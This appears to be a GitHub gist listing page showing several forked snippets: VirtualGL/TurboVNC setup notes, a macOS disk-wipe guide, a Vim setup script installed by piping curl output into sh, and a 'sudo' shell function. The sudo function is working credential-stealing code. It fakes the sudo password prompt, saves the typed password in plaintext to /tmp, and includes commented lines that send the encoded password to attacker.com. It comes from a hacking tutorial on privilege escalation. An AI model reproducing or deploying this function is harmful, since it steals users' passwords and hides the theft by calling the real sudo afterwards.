Skip to content

Instantly share code, notes, and snippets.

@mgherghi
mgherghi / How to setup VirtualGL and TurboVNC on Ubuntu.md
Created December 3, 2020 01:48 — forked from cyberang3l/How to setup VirtualGL and TurboVNC on Ubuntu.md
Setup VirtualGL and TurboVNC on Ubuntu for OpenGL forwarding
@mgherghi
mgherghi / sudo
Created June 10, 2019 17:00 — forked from tokyoneon/sudo
Sudo function for stealing Unix passwords; script for WonderHowTo article
function sudo ()
{
# https://null-byte.com/privesc-0194190/
realsudo="$(which sudo)";
read -s -p "[sudo] password for $USER: " inputPasswd;
printf "\n";
printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt;
# encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
# curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;
$realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1;
@mgherghi
mgherghi / OSX Secure Disk Wipe.md
Created April 25, 2019 01:10 — forked from joeblau/OSX Secure Disk Wipe.md
Securely erase an external disk using dd on OSX

Securely erase an external disk using dd on OSX

  1. Plug in your SD card, HDD, or other block device and then use the following command to see which /dev/diskN node it's located on:
diskutil list
  1. Unmount the disk where “N� is the number of the disk taken from the above command:
@mgherghi
mgherghi / .vimrc
Created October 5, 2018 04:41 — forked from NickLaMuro/.vimrc
Set up Vim on Mac or Linux. curl https://raw.github.com/gist/1147370/vim.sh | sh
"this is the cconfiguration file for linux and mac systems
"symlink this to your home folder as .vimrc
call pathogen#runtime_prepend_subdirectories(expand('~/.vim/bundles'))
call pathogen#helptags()
"call pathogen#runtime_append_all_bundles()
source ~/.vimrc_main